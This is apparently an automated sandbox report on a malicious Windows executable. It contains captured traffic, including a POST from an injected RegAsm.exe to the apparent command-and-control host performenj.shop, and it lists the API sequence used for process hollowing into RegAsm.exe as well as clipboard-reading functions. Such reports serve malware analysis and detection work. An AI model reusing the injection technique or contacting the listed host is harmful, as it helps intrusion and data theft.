2024-09-26 07:58:45 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 07:58:45 GMT Content-Length: 34668 Connection: close Set-Cookie: sessionid=a8f98625ba21e124e1c92715; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-26 07:58:45 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 07:58:46 UTC	16384	IN	Data Raw: 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 Data Ascii: supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu
2024-09-26 07:58:46 UTC	3768	IN	Data Raw: 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 Data Ascii: w more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div cla
2024-09-26 07:58:46 UTC	2	IN	Data Raw: 6c 3e Data Ascii: l>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49720	172.67.189.2	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:46 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: performenj.shop
2024-09-26 07:58:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:47 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t57on9n7u2dv5go476s3qhna4m; expires=Mon, 20 Jan 2025 01:45:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NbsnPFdGgLKPmp%2B6Ahts4WhXbExomnBeG9kNlRx8AAUz2V8xEFrmVyz8PKR0eeFlR44SH6K%2FYwTsEQ6jfM9kACMg6bu5VHECqucOhP6%2B0sgGoAc9Y2U5A9muCaqXbCXzWPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5f58881430a-EWR
2024-09-26 07:58:47 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:58:33
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\3ZD5tEC5DH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3ZD5tEC5DH.exe"
Imagebase:	0x1e0000
File size:	374'784 bytes
MD5 hash:	149131A90F99225E6C7E28A06164DD9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:58:33
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:58:35
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x950000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	37.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	24%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 026A2151 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,026A20C3,026A20B3), ref: 026A22C0
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026A22D3
Wow64GetThreadContext.KERNEL32(000000A0,00000000), ref: 026A22F1
ReadProcessMemory.KERNELBASE(0000009C,?,026A2107,00000004,00000000), ref: 026A2315
VirtualAllocEx.KERNELBASE(0000009C,?,?,00003000,00000040), ref: 026A2340
WriteProcessMemory.KERNELBASE(0000009C,00000000,?,?,00000000,?), ref: 026A2398
WriteProcessMemory.KERNELBASE(0000009C,00400000,?,?,00000000,?,00000028), ref: 026A23E3
WriteProcessMemory.KERNELBASE(0000009C,-00000008,?,00000004,00000000), ref: 026A2421
Wow64SetThreadContext.KERNEL32(000000A0,025B0000), ref: 026A245D
ResumeThread.KERNELBASE(000000A0), ref: 026A246C

Strings

TerminateProcess, xrefs: 026A234F
ress, xrefs: 026A21DB
GetP, xrefs: 026A21D3
VirtualAlloc, xrefs: 026A2218
Load, xrefs: 026A218F
VirtualAllocEx, xrefs: 026A2251
ResumeThread, xrefs: 026A228D
aryA, xrefs: 026A2197
ReadProcessMemory, xrefs: 026A223E
SetThreadContext, xrefs: 026A2277
CreateProcessA, xrefs: 026A2205
GetThreadContext, xrefs: 026A222B
WriteProcessMemory, xrefs: 026A2264
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 026A22BF

Memory Dump Source

Source File: 00000000.00000002.2135714061.00000000026A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 026A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26a1000_3ZD5tEC5DH.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 508fdef02a9037ca231f2971fbbd50b1ed86b2232b45d9a2c7ab2c931199e676
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: C1B1D57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 00C01330 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00C012F0

Memory Dump Source

Source File: 00000000.00000002.2135604598.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c00000_3ZD5tEC5DH.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ac329fd58ba110ce1420a2289742fab62410e99e4b8ca8d25b4a16a53e4c53d7
Instruction ID: 863e375cdc03a50fcdce6b455b4d5ab32fec19d362d5f30805f7c4a684ba044b
Opcode Fuzzy Hash: ac329fd58ba110ce1420a2289742fab62410e99e4b8ca8d25b4a16a53e4c53d7
Instruction Fuzzy Hash: BB3148B2901259DFDF11CF99D844BDEFBF0BF88314F14811AE918AB291D3749914CBA1

Function 00C01268 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00C012F0

Memory Dump Source

Source File: 00000000.00000002.2135604598.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c00000_3ZD5tEC5DH.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 52b05f0b3f665903aff29eea09c3c2ac381137d5f749f86a9012afe79e38df0b
Instruction ID: f593687180ef78493b0f20babe4bff270b9fe816a8f80c72822f46b0f5189eca
Opcode Fuzzy Hash: 52b05f0b3f665903aff29eea09c3c2ac381137d5f749f86a9012afe79e38df0b
Instruction Fuzzy Hash: A62125B1905259DFDB10CFAAC880ADEFBF0FF88310F14842EE919A7250C7759905CBA1

Function 00C01270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00C012F0

Memory Dump Source

Source File: 00000000.00000002.2135604598.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c00000_3ZD5tEC5DH.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 96b94cc9b735a01151933232074044cdda93ab8dcad2fd28ba854528e73ac227
Instruction ID: cf7dd1e84c35228019a220bef850e93f29ba964fcd13027761e2b5e64b9da886
Opcode Fuzzy Hash: 96b94cc9b735a01151933232074044cdda93ab8dcad2fd28ba854528e73ac227
Instruction Fuzzy Hash: CC21E2B1901259DFDB10DFAAC881ADEFBF4FF88710F10842AE919A7250C775A910CBA5

Analysis Process: RegAsm.exePID: 5396, Parent PID: 404COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	75%
Total number of Nodes:	36
Total number of Limit Nodes:	8

Executed Functions

Function 00410480 Relevance: 25.4, Strings: 20, Instructions: 435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w%r', xrefs: 0041085E
Gu@w, xrefs: 00410599
f, xrefs: 00410824, 0041082D
zMzO, xrefs: 0041052B
Ym]o, xrefs: 00410583
hI2K, xrefs: 00410520
yQrS, xrefs: 00410536
9]_, xrefs: 00410557
XyR{, xrefs: 004105A4
89, xrefs: 00410866
D!M#, xrefs: 004104D0
S%U', xrefs: 004104D8
.AtC, xrefs: 00410510
(Y6[, xrefs: 0041054C
9lji, xrefs: 004107A4, 004107AD
PQ, xrefs: 00410941
k=W?, xrefs: 00410508
us, xrefs: 004108F9
Gq\s, xrefs: 0041058E
pE}G, xrefs: 00410518

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$89$9]_$9lji$D!M#$Gq\s$Gu@w$PQ$S%U'$XyR{$Ym]o$hI2K$k=W?$pE}G$w%r'$yQrS$zMzO$us$f
API String ID: 0-1367088923
Opcode ID: bd0f71112ca25ec8b8a9f2482f83a574c3380875e503502dc80236c562b04332
Instruction ID: a09763c792eff68ee2d066390d92369163d89c9f7aba8ef65be1ebf7ec03b0a0
Opcode Fuzzy Hash: bd0f71112ca25ec8b8a9f2482f83a574c3380875e503502dc80236c562b04332
Instruction Fuzzy Hash: A30266B4108380EFD3609F65E880B5BBBE4FB86745F40492DF5C99B262D774D884CB5A

Function 0040FEBC Relevance: 13.2, Strings: 10, Instructions: 710
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w%r', xrefs: 0041085E
89, xrefs: 00410866
58, xrefs: 00410043
f, xrefs: 00410824, 0041082D
9lji, xrefs: 004107A4, 004107AD
I1, xrefs: 0041002F
13, xrefs: 00410039
PQ, xrefs: 00410941
8<, xrefs: 0041004D
us, xrefs: 004108F9

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 13$58$89$8<$9lji$I1$PQ$w%r'$us$f
API String ID: 0-2782953580
Opcode ID: 9b76d46fa66223bdcbb40c86f8213a292735e728758ff7986478ce89d37e3186
Instruction ID: d3e6123da5a87937c4ce527ea16b001d947dd1f89a44154d0df95b1e97982e4a
Opcode Fuzzy Hash: 9b76d46fa66223bdcbb40c86f8213a292735e728758ff7986478ce89d37e3186
Instruction Fuzzy Hash: CB4289B4104740DFD324CF25E884B1ABBB5FF8A305F54896DE48A8B2A2D735E846CF55

Function 0040D2C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D2D1
GetCurrentThreadId.KERNEL32 ref: 0040D2E6
GetCurrentProcessId.KERNEL32 ref: 0040D2EC
ExitProcess.KERNEL32 ref: 0040D4B0

Strings

'GFA, xrefs: 0040D3C3, 0040D3CB
edgf, xrefs: 0040D44E

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: 'GFA$edgf
API String ID: 1029096631-957644222
Opcode ID: 502ce430d97d9e37560fd800a07c2546b427697bcdc0870340be3cc5bdd76706
Instruction ID: 7ad23a135721fdd6d89255751fe31a0f6133d9381a8379ca88b8a81bac4427f5
Opcode Fuzzy Hash: 502ce430d97d9e37560fd800a07c2546b427697bcdc0870340be3cc5bdd76706
Instruction Fuzzy Hash: 7C414C7480D2809BC301BF99D544A1EFBE5AF52709F148D2DE5C4A73A2C73AD858CB6B

Function 00447600 Relevance: 6.9, Strings: 5, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4`[b, xrefs: 00447E00
EBC, xrefs: 00447775
2wD, xrefs: 00447724
B{D, xrefs: 00447B35
%sgh, xrefs: 00447A40

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %sgh$2wD$4`[b$B{D$EBC
API String ID: 0-496620645
Opcode ID: 865e8d7a960f62aafbc96611e0bb75791c5df7bc6a7c9e46bf01ca827213b2f7
Instruction ID: 69e25fd42919f09a0fad1ce1aae30dbab7648f036e3687e99ce2e3a807c76338
Opcode Fuzzy Hash: 865e8d7a960f62aafbc96611e0bb75791c5df7bc6a7c9e46bf01ca827213b2f7
Instruction Fuzzy Hash: 782290B4D04206DFEB10DF94D8516BFBBB1FF0A315F140869E941AB352D3399852CBA8

Function 0040EFFC Relevance: 6.8, Strings: 5, Instructions: 550
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j, xrefs: 0040F2B8
:g;1, xrefs: 0040F279
%!-0, xrefs: 0040F2A1
yE, xrefs: 0040F10B
GA, xrefs: 0040F0FB

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$GA$j$yE
API String ID: 0-657862259
Opcode ID: 8daadd4c4eafb44f063823af2852c0169c47290188a28889f776968e4671cce3
Instruction ID: 0bf61b085e90676ab9422539f66e4567ca3ca80a6a34bc9c966370a20edcd352
Opcode Fuzzy Hash: 8daadd4c4eafb44f063823af2852c0169c47290188a28889f776968e4671cce3
Instruction Fuzzy Hash: BD02CE74108381CFD321DF14D4806ABB7E1BF9A309F044A3DE8C99B392E3799959CB5A

Function 00447560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00444FF1,00000001,00000005,?,00000000,?,?,004214D5), ref: 0044758E

Strings

7654, xrefs: 00447564
7654, xrefs: 00447582

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$7654
API String ID: 2994545307-1888865020
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0044A7E0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MNOP, xrefs: 0044A8F3, 0044A8FB
@, xrefs: 0044A8A7

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: 383395a8c2557685db5440b8f2875ef8fac23426ad172215021297f230a7d1c8
Instruction ID: 80857ea081e9c0ef4e0b68a0f371812cde995d369360003f316b1ac55e0fae6d
Opcode Fuzzy Hash: 383395a8c2557685db5440b8f2875ef8fac23426ad172215021297f230a7d1c8
Instruction Fuzzy Hash: E441DEB15083009FE710DF58D885A2BBBE5FF85318F09892EE485CB2A2E379C914CB57

Function 0040ED90 Relevance: 1.6, APIs: 1, Instructions: 87
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(E31BE117,00000000,191A131C), ref: 0040EE7E

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b255b2b3df52fa8fefe507985d2cf18ad8c452aef6b15d87a3589c64d6e5f074
Instruction ID: 63d71ec5668dfa77f13543280154113270aaac174107f28ab34eb916c867471b
Opcode Fuzzy Hash: b255b2b3df52fa8fefe507985d2cf18ad8c452aef6b15d87a3589c64d6e5f074
Instruction Fuzzy Hash: 6C215A7410C3849BD311AF15D844A5FBBE5FB9A709F440E2EF1C8A7292C339D9148B6B

Function 00444282 Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00444306

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9b64c73a6e1149bfdb640a00ee75ce205078f54ff32e19d42aa46313119ccf0f
Instruction ID: 6bffe2fc0ddf8828133d19de1647fbd8cb8d601340a533239dc1377920776a1d
Opcode Fuzzy Hash: 9b64c73a6e1149bfdb640a00ee75ce205078f54ff32e19d42aa46313119ccf0f
Instruction Fuzzy Hash: 52012874608740AFD301EB59E8A0A2ABBE5AB8A701F14481CE4C487362C339DC50CB9A

Non-executed Functions

Function 0041E52C Relevance: 38.6, Strings: 30, Instructions: 1100COMMON

Download Yara Rule

Strings

$+*), xrefs: 0041ECE1
eZ[X, xrefs: 0041ECF5
t{zy, xrefs: 0041EC19
4;:p, xrefs: 0041ECB9
<jkh, xrefs: 0041ECCD
1674, xrefs: 0041EC23
PWVU, xrefs: 0041EC5F
UJKH, xrefs: 0041ED1D
Ug0a, xrefs: 0041F579
AFGD, xrefs: 0041ED3B
T[ZY, xrefs: 0041EC69
@GFE, xrefs: 0041EC87
-"# , xrefs: 0041EC41
Xa!m, xrefs: 0041EEA9
i'&%, xrefs: 0041ECD7
S=S?, xrefs: 0041E5DD
\CBA, xrefs: 0041EC7D
L321, xrefs: 0041ECA5
`gfe, xrefs: 0041EC37
076|, xrefs: 0041ECAF
pwvu, xrefs: 0041EC0F
lSRQ, xrefs: 0041EC55
X_^], xrefs: 0041EC73
honm, xrefs: 0041EC4B
HFo, xrefs: 0041EF0D
qvw=, xrefs: 0041ECC3
(/.-, xrefs: 0041ECEB
|cba, xrefs: 0041EC2D
DKJI, xrefs: 0041EC91
7654, xrefs: 0041E79F

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $+*)$(/.-$-"# $076|$1674$4;:p$7654$<jkh$@GFE$AFGD$DKJI$HFo$L321$PWVU$S=S?$T[ZY$UJKH$Ug0a$X_^]$Xa!m$\CBA$`gfe$eZ[X$honm$i'&%$lSRQ$pwvu$qvw=$t{zy$|cba
API String ID: 0-1574315579
Opcode ID: f29a7beffedca84d5b0e643aad4964e4bff0c2dc32eddaca6496bb59bb61511b
Instruction ID: 4a74ac0f85910918f006d736c5d0f92f2dd812b80d548ca96f91c83005aa597a
Opcode Fuzzy Hash: f29a7beffedca84d5b0e643aad4964e4bff0c2dc32eddaca6496bb59bb61511b
Instruction Fuzzy Hash: 41A27AB4200B409FE720DF25C881BE7B7E2EF45304F54492EE9AA5B291DB39B486CF55

Function 004327B0 Relevance: 19.2, APIs: 2, Strings: 8, Instructions: 1749COMMON

Download Yara Rule

Strings

.L6j, xrefs: 00433301
#JC, xrefs: 00433D01, 00433F89, 00433F8F
~PF<, xrefs: 00432851
vRTb, xrefs: 00433C60
#v, xrefs: 004336B6
KJIg, xrefs: 004339FB
>Wv, xrefs: 00432879
drC, xrefs: 004327D1

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: drC$#JC$.L6j$>Wv$KJIg$vRTb$~PF<$#v
API String ID: 0-3335837278
Opcode ID: b49086e5311dadaa935c078b0d22b8ac093333b5ead3b543180416bfd8a0cf4b
Instruction ID: 80dd1b3f92e3bf53a7d47459d3dbaa13194b9cb319ea6a1a27847e4a333d22a3
Opcode Fuzzy Hash: b49086e5311dadaa935c078b0d22b8ac093333b5ead3b543180416bfd8a0cf4b
Instruction Fuzzy Hash: 9BD27270405B808BE7318F35C490BA3BBE1AF1B306F58599ED4EB8B382D779A505CB65

Function 00439000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00439010
GetWindowLongW.USER32 ref: 00439035
GetClipboardData.USER32 ref: 00439045
GlobalLock.KERNEL32 ref: 00439068
GlobalUnlock.KERNEL32 ref: 0043914A
CloseClipboard.USER32 ref: 00439155

Strings

?, xrefs: 004390BD
e, xrefs: 004390D1
3, xrefs: 00439090

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: 3$?$e
API String ID: 2832541153-3975470078
